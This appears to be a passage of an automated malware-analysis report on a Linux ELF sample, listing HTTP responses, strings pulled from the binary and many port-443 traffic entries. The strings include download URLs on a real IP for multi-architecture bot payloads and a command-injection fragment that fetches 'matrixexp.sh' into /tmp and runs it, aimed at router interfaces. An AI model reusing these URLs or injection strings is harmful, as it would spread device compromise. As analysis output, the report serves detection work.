Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu Mar 21 07:18:48 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Thu, 21 Mar 2024 04:18:50 GMTContent-Type: text/htmlContent-Length: 153Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/arm7;chmod
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&sessionKey=1039230
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/matrixexp.sh;
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/mips
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/mips;
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/mpsl;chmod
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://109.205.214.35/x86
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: I9k2Q7HKfO.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51824
Source: unknown	Network traffic detected: HTTP traffic on port 58570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47564
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 45134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36430
Source: unknown	Network traffic detected: HTTP traffic on port 53684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55198
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51342 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33632 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48320 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45374
Source: unknown	Network traffic detected: HTTP traffic on port 54562 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48642
Source: unknown	Network traffic detected: HTTP traffic on port 56468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50508
Source: unknown	Network traffic detected: HTTP traffic on port 32788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34396 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40918
Source: unknown	Network traffic detected: HTTP traffic on port 39260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35324
Source: unknown	Network traffic detected: HTTP traffic on port 60266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34480
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46218
Source: unknown	Network traffic detected: HTTP traffic on port 43950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44038
Source: unknown	Network traffic detected: HTTP traffic on port 48434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36890
Source: unknown	Network traffic detected: HTTP traffic on port 51996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36650
Source: unknown	Network traffic detected: HTTP traffic on port 41916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59328
Source: unknown	Network traffic detected: HTTP traffic on port 35504 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34224
Source: unknown	Network traffic detected: HTTP traffic on port 46218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38666 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59330
Source: unknown	Network traffic detected: HTTP traffic on port 46724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50766
Source: unknown	Network traffic detected: HTTP traffic on port 50280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33366
Source: unknown	Network traffic detected: HTTP traffic on port 54482 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37974
Source: unknown	Network traffic detected: HTTP traffic on port 58914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58250
Source: unknown	Network traffic detected: HTTP traffic on port 45044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46276
Source: unknown	Network traffic detected: HTTP traffic on port 59290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48356 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58418
Source: unknown	Network traffic detected: HTTP traffic on port 45204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55388
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37316
Source: unknown	Network traffic detected: HTTP traffic on port 51512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 19025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42902
Source: unknown	Network traffic detected: HTTP traffic on port 56378 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50704
Source: unknown	Network traffic detected: HTTP traffic on port 43330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 40146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37550
Source: unknown	Network traffic detected: HTTP traffic on port 51340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39734
Source: unknown	Network traffic detected: HTTP traffic on port 58316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33196
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57582
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34280
Source: unknown	Network traffic detected: HTTP traffic on port 40178 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 36966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46012
Source: unknown	Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36690
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 47340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39960
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 34036
Source: unknown	Network traffic detected: HTTP traffic on port 50704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33184
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40706
Source: unknown	Network traffic detected: HTTP traffic on port 58338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59530
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40946
Source: unknown	Network traffic detected: HTTP traffic on port 46644 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48426
Source: unknown	Network traffic detected: HTTP traffic on port 51298 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44064
Source: unknown	Network traffic detected: HTTP traffic on port 43628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55186
Source: unknown	Network traffic detected: HTTP traffic on port 56432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37768
Source: unknown	Network traffic detected: HTTP traffic on port 59530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58694
Source: unknown	Network traffic detected: HTTP traffic on port 53742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60766
Source: unknown	Network traffic detected: HTTP traffic on port 33228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51428
Source: unknown	Network traffic detected: HTTP traffic on port 36528 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51420
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39542
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36278
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53600
Source: unknown	Network traffic detected: HTTP traffic on port 36958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37118
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35188
Source: unknown	Network traffic detected: HTTP traffic on port 38372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54948
Source: unknown	Network traffic detected: HTTP traffic on port 39004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48244
Source: unknown	Network traffic detected: HTTP traffic on port 57184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37358
Source: unknown	Network traffic detected: HTTP traffic on port 43386 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39528
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41840
Source: unknown	Network traffic detected: HTTP traffic on port 58086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45642 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37550 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48476
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48474
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38670
Source: unknown	Network traffic detected: HTTP traffic on port 47628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60398
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58086
Source: unknown	Network traffic detected: HTTP traffic on port 58418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37316 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51254 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 40742
Source: unknown	Network traffic detected: HTTP traffic on port 57786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51384 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45190
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39754
Source: unknown	Network traffic detected: HTTP traffic on port 36862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39504
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36238
Source: unknown	Network traffic detected: HTTP traffic on port 34444 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38418
Source: unknown	Network traffic detected: HTTP traffic on port 34280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56368 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35392
Source: unknown	Network traffic detected: HTTP traffic on port 42038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37162
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50770
Source: unknown	Network traffic detected: HTTP traffic on port 32772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37168
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58024
Source: unknown	Network traffic detected: HTTP traffic on port 39128 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60570
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42984
Source: unknown	Network traffic detected: HTTP traffic on port 47486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56082
Source: unknown	Network traffic detected: HTTP traffic on port 54696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60336
Source: unknown	Network traffic detected: HTTP traffic on port 46722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60578
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50788
Source: unknown	Network traffic detected: HTTP traffic on port 44944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50304
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 60580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49370
Source: unknown	Network traffic detected: HTTP traffic on port 43538 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49358 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44918
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57184
Source: unknown	Network traffic detected: HTTP traffic on port 33610 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 60580
Source: unknown	Network traffic detected: HTTP traffic on port 33226 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 39410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49124
Source: unknown	Network traffic detected: HTTP traffic on port 52408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36294
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51886
Source: unknown	Network traffic detected: HTTP traffic on port 60336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58286
Source: unknown	Network traffic detected: HTTP traffic on port 43978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49358
Source: unknown	Network traffic detected: HTTP traffic on port 58380 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 37132
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 48260
Source: unknown	Network traffic detected: HTTP traffic on port 59484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36288
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 36046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52984
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 38560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58058
Source: unknown	Network traffic detected: HTTP traffic on port 49662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59384
Source: unknown	Network traffic detected: HTTP traffic on port 40946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46652 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59144
Source: unknown	Network traffic detected: HTTP traffic on port 52932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42952
Source: unknown	Network traffic detected: HTTP traffic on port 57672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39260
Source: unknown	Network traffic detected: HTTP traffic on port 43348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51384
Source: unknown	Network traffic detected: HTTP traffic on port 44616 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52232
Source: unknown	Network traffic detected: HTTP traffic on port 44330 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48372 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41336
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45930
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44600
Source: unknown	Network traffic detected: HTTP traffic on port 53540 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43990
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53332
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 59144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49194 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41566
Source: unknown	Network traffic detected: HTTP traffic on port 59328 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 34288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38152
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39246
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39004
Source: unknown	Network traffic detected: HTTP traffic on port 53426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43978
Source: unknown	Network traffic detected: HTTP traffic on port 37176 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 35188 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42310 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 37692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 38148
Source: unknown	Network traffic detected: HTTP traffic on port 54168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 48474 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 42878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53362
Source: unknown	Network traffic detected: HTTP traffic on port 37426 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 41752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45982
Source: unknown	Network traffic detected: HTTP traffic on port 35210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 35938
Source: unknown	Network traffic detected: HTTP traffic on port 45336 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51342
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51340
Source: unknown	Network traffic detected: HTTP traffic on port 34962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53764
Source: unknown	Network traffic detected: HTTP traffic on port 40206 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 33934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 36596 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44882
Source: unknown	Network traffic detected: HTTP traffic on port 52274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52200
Source: unknown	Network traffic detected: HTTP traffic on port 35542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 32828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33502
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52440
Source: unknown	Network traffic detected: HTTP traffic on port 55024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 44870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51358
Source: unknown	Network traffic detected: HTTP traffic on port 38294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 33742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52202
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54870
Source: unknown	Network traffic detected: HTTP traffic on port 54544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 45600 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59086
Source: unknown	Network traffic detected: HTTP traffic on port 53390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 45724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43300
Source: unknown	Network traffic detected: HTTP traffic on port 56702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51128
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52218
Source: unknown	Network traffic detected: HTTP traffic on port 48312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52216
Source: unknown	Network traffic detected: HTTP traffic on port 42068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46590 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51428 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 32890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 43538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 46808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51130
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50280
Source: unknown	Network traffic detected: HTTP traffic on port 58024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59096
Source: unknown	Network traffic detected: HTTP traffic on port 38418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 41594
Source: unknown	Network traffic detected: HTTP traffic on port 53286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55582 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49076
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54882
Source: unknown	Network traffic detected: HTTP traffic on port 59728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 47516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 46924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 44616
Source: unknown	Network traffic detected: HTTP traffic on port 60042 -> 443
